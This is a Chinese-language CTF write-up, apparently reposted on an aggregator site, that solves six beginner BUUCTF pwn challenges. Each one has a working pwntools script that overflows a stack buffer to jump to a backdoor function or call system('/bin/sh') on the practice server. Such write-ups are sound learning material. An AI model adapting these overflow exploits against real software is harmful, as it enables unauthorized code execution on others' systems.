pwn打打基础——BUUCTF篇(1)

这篇具有很好参考价值的文章主要介绍了pwn打打基础——BUUCTF篇(1)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

BUUCTF刷刷基础题先,打牢下基础

test_your_nc

就非常经典的起引导作用的nc题
格式:nc IP 端口
pwn打打基础——BUUCTF篇(1)

rip

checksec一下
pwn打打基础——BUUCTF篇(1)
发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
发现有gets()函数(并不会限制输入的字节数),也有system("/bin/sh"),没有什么其它陷阱。那这就是一道非常经典的ret2text题目,可直接转到fun()函数即可,那么脚本如下

from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote("node4.buuoj.cn",27199) #远端链接
offset = 0x0F + 0x08 #0x0F是s的字节大小,0x08是为了覆盖rsp来进行跳转
system = 0x000000000040118A #执行system函数的地址
payload = offset * b'a' + p64(system)
p.sendline(payload) #攻击
p.interactive() #交互模式

运行脚本结果后获得权限,然后获取flag即可
pwn打打基础——BUUCTF篇(1)

warmup_csaw_2016

依旧是先checksec
pwn打打基础——BUUCTF篇(1)
跟上一题一模一样的保护,然后用IDA查看一下代码
pwn打打基础——BUUCTF篇(1)
典型的栈溢出,再找找有没有调用system()函数,发现sub_40060D里就藏着我们的目标
pwn打打基础——BUUCTF篇(1)
思路一下子就明了了起来,由gets进行栈溢出之后跳转到sub_40060D内执行,这里提供两种获得sub_40060D函数地址的方法
①.在IDA的Options里选择General,然后勾选Line prefixes(graph),在sub_40060D函数体内按下TAB键,即可查看到sub_40060D这个子函数的地址
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
②.在main函数里有sprintf函数,其中%p指向sub_40060D,可以打印出它的地址。直接nc就可以获得它的地址
pwn打打基础——BUUCTF篇(1)
那么脚本如下

from pwn import *
p = remote('node4.buuoj.cn',29841)
offset = 0x40 + 0x08
payload = offset *b'a' + p64(0x40060d)
p.recvuntil(">") #可以理解为将程序运行到">"字符的出现
p.sendline(payload)
p.interactive()

然后就获取权限可以提取flag了
pwn打打基础——BUUCTF篇(1)

ciscn_2019_n_1

checksec一下
pwn打打基础——BUUCTF篇(1)
发现多开了一个NX保护,栈不可执行,意味着我们没法直接往栈区里写入类似shellcode的代码,再来看看IDA里边的函数
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
在func函数里我们发现,要是想获得flag,我们就得让v2等于11.28125,但是在最开始v2已经被初始化为0.0了,那么现在的问题就是如何将v2的值覆盖为11.28125,需要借用我们的gets函数从v1溢出到v2进行覆盖
pwn打打基础——BUUCTF篇(1)
根据计算,偏移量offset = -0x04 + 0x30,那么最后的难点就是如何给v2赋值了,一个浮点型的数字没办法直接通过十进制来赋值,所以我们要想办法把浮点型数字转换成计算机能够识别的格式,也就是十六进制。但我心有余而力不足,不会这种转换方式,就抱着试一试的心态看看能不能在IDA里找到能表示11.28125,在流程图里看到了个很可疑的对比对象dword_4007F4
pwn打打基础——BUUCTF篇(1)
这个dword_4007F4后边紧跟着jnz指令,那么我大胆猜测,这个dword_4007F4里就储存着11.28125的十六进制数据,那么此时去获取它的地址
pwn打打基础——BUUCTF篇(1)
构造脚本

rom pwn import *
p = remote('node4.buuoj.cn',29495)
offset = 0x30 - 0x04
floatnum = 0x41348000 #储存11.28125的地址
payload = offset * b'a' + p64(floatnum)
p.recvuntil('number')
p.sendline(payload)
p.interactive()

攻击!如愿以偿的得到了flag
pwn打打基础——BUUCTF篇(1)
不过,真正正确的攻击方式应该是人为的将11.28125转换为十六进制数据,像这样能够找着存储它的地址的机会实在是很少,还是得多学习下如何进行转换
总结:核心就是赋值,将浮点型数据转换为十六进制数据

pwn1_sctf_2016

checksec
pwn打打基础——BUUCTF篇(1)
和上题一样,不过变成了x86程序,IDA查看一下
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
发现有后门函数,但是vuln函数却是个大麻烦,这么多奇怪的代码混淆我们的视线,并且fgets函数里有且仅能输入32字节数据,看起来无法进行栈溢出的样子。但是,我们可以看到有个函数叫replace,根据英文单词释义以及前文中剃刀的两个英语单词,可以猜测是不是将I转换成you,或者将you转换成I,空谈误国,nc一下试试先
pwn打打基础——BUUCTF篇(1)
事实证明,I被转换成了you,那就好办了,一字节变成了三字节,这不刚好为我们的栈溢出创造条件吗?ok这下就是计算偏移量offset的时间!offset = 0x3C + 0x04,换成十进制就是64字节长度,然后跳转到get_flag函数即可,那么此时就可以构造脚本了

from pwn import *
p = remote('node4.buuoj.cn',28925)
offset = 20 #0x3C ÷ 3 == 20
flag = 0x08048F0D
payload = offset * b'I' + 4 * b'a' + p32(flag) #因为是x86,所以用p32打包,且esp只占4字节长度
p.sendline(payload)
p.interactive()

那么运行后结果如下,顺利拿下flag!
pwn打打基础——BUUCTF篇(1)

jarvisoj_level0(这个跟前边的rip差不多,可跳)

checksec
pwn打打基础——BUUCTF篇(1)
NX开启,栈不可执行,x64位,查看代码
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
有后门函数callsystem()
pwn打打基础——BUUCTF篇(1)
普通的ret2text,脚本如下

from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote('node4.buuoj.cn',25895)
offset = 0x80 + 0x08
callsystem = 0x0000000000400596
payload = offset * b'a' + p64(callsystem)
p.sendline(payload)
p.interactive()

运行脚本即可
pwn打打基础——BUUCTF篇(1)

jarvisoj_level2

checksec一下
pwn打打基础——BUUCTF篇(1)
x86,部分地址随机化,NX保护
IDA查看一下代码
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
嗯,是栈溢出的感觉!但是system里边的参数并不是我们想要的,那在这个程序里面有没有藏着"/bin/sh"呢?找找吧~
然后我们就在Exports里发现了个hint,好东西啊,看看!
pwn打打基础——BUUCTF篇(1)
pwn打打基础——BUUCTF篇(1)
好家伙,正是我们所需要的参数!那么现在的任务就是在栈溢出之后把参数传到system函数里边执行了,获取下_system函数地址
pwn打打基础——BUUCTF篇(1)
OK!那么就可以开始构造脚本了!

from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote('node4.buuoj.cn',29791)
offset = 0x88 + 0x04
shell = 0x0804A024
system = 0x0804845C
payload = offset * b'a' + p32(system) + p32(shell)
p.sendlineafter("Input:\n",payload) #在接收到"Input:\n"后发送payload
p.interactive()

运行脚本获得权限提取flag即可

总结:这几道题里难的就是pwn1_sctf_2016和ciscn_2019_n_1,算是使用ROPgadget前相对来说比较难的基础题。难在代码审计和数据转换,对我来说算是一种比较新的题型了,可以多总结练习一下,把基础夯实,更好学习后面的知识文章来源地址https://www.toymoban.com/news/detail-746767.html

到了这里,关于pwn打打基础——BUUCTF篇(1)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 创建OneNET新版MQTT设备:实现远程控制单片机 为微信小程序与单片机通信打基础(微信小程序通信单片机前置任务)

    本项目教程总共分为四节 1.(当前文章)创建OneNET新版MQTT设备:为微信小程序与单片机通信打基础(微信小程序通信单片机前置任务) 2.ESP8266-01s入门:烧录AT固件与OneNET MQTT通信教程包含MQTT.fx1.7.1教程(微信小程序通信单片机前置任务) 3.物联网实践教程:微信小程序结合

    2024年02月04日
    浏览(76)
  • BUUCTF Pwn 1-12题解析及答案

    人如其名,直接 nc 连接即可。 裸奔的64位ELF,使用IDA查看反汇编代码。 s 的大小为 0x0F ,所以我们构造的Payload是这样的: 0x0F + 0x08 代表 s 的大小加上8字节大小的rbp。 0x40117是 fun 函数中的命令开始的地址: 完整EXP: 也是裸奔的程序。 思路同上 0x40060E NX 栈不可执行 思路很简

    2024年02月04日
    浏览(35)
  • buuctf PWN ciscn_2019_c_1

    encrypt()里面get函数存在溢出点offest=0x50+8。puts()可以用来泄露libc基址。 amd64的参数调用顺序是如下序列的自后而前,即:完成传递参数(地址)-本函数地址 - 返回地址 ... - pop_rdi;ret - argv - call_addr - ret_address 获得本elf中的gadgets: ROPgadget --binary ./ciscn_2019_c_1 --only \\\"pop|ret\\\" ROPgadg

    2024年02月07日
    浏览(31)
  • [BUUCTF NewStar 2023] week5 Crypto/pwn

    最后一周几个有难度的题 也是个板子题,不过有些人存的板子没到,所以感觉有难度,毕竟这板子也不是咱自己能写出来的。 给了部分p, p是1024位给了922-101位差两头。 直接用双值copper这个双值和多值还是有些区别的,应该是作了些优化。 这个题有9个人完成,我估计有一半

    2024年02月05日
    浏览(39)
  • BUUCTF pwn1_sctf_2016解题思路

    php魔术方法: __call() : 在对象中调用一个不可访问方法时, __call() 会被调用 __toString : 将对象当作一个字符串输出的时候 __wakeup : 反序列化时被调用 __invoke : 当一个对象被作为函数调用时被调用 __get : 当对象访问一个不存在的属性时调用 __construct :创建对象时调用 序列化只

    2024年02月12日
    浏览(37)
  • [BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

    再补完这个就基本上完了. Schmidt-Samoa密码系统看上去很像RSA,其中N=pqq, 给的e=N给了d NTRU又一个格的基本应用   当E.order() == p时   p-1光滑时的分解 此题先是p-1光滑分解,然后是e=3*0x10000先求3次根再用rabin求16次    求误差,虽然被分成3个数组,但本质上是一个,可以连到一起求解. 

    2024年02月07日
    浏览(37)
  • [BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问,欢迎讨论

    首先非常感谢大家阅读我的第一篇。本文章不仅仅是题解,一些细枝末节的小问题也欢迎大家一起解答。 小问题的形式如Qx:xxxxxxx? 欢迎发现小问题并讨论~~ N1nE是本人另外一个名字,目前主要学习pwn方向,此文章以及后续别的文章,如有不当欢迎补充与纠正。 题目来自bu

    2023年04月08日
    浏览(29)
  • c语言第二课------地基打牢,基础打紧,不可放弃

    欢迎小可爱们前来借鉴我的gtieehttps://gitee.com/qin-laoda 变量的作用域和生命周期 常量 字符串+转义字符+注释 选择语句 循环语句 函数 _________________________________________________ 这次我们接着上一篇博客,我们接着来继续C语言的学习 变量的作用域: 简单的说就是变量的作用范围,比如我

    2024年02月08日
    浏览(26)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(32)
  • 攻防世界hello pwn WP(pwn入门基础题)

    题目网址: 攻防世界 下载文件,文件名太长了把文件改名为pwn 把pwn文件放入kali里面 file一下查看文件类型 发现是一个64位的elf文件,加个运行权限,运行一下看看  使用 checksec 检查保护 发现只开了 NX 保护。 把pwn放入64位IDA中,F5反汇编一下main函数 得到main函数伪代码 点击

    2024年02月10日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包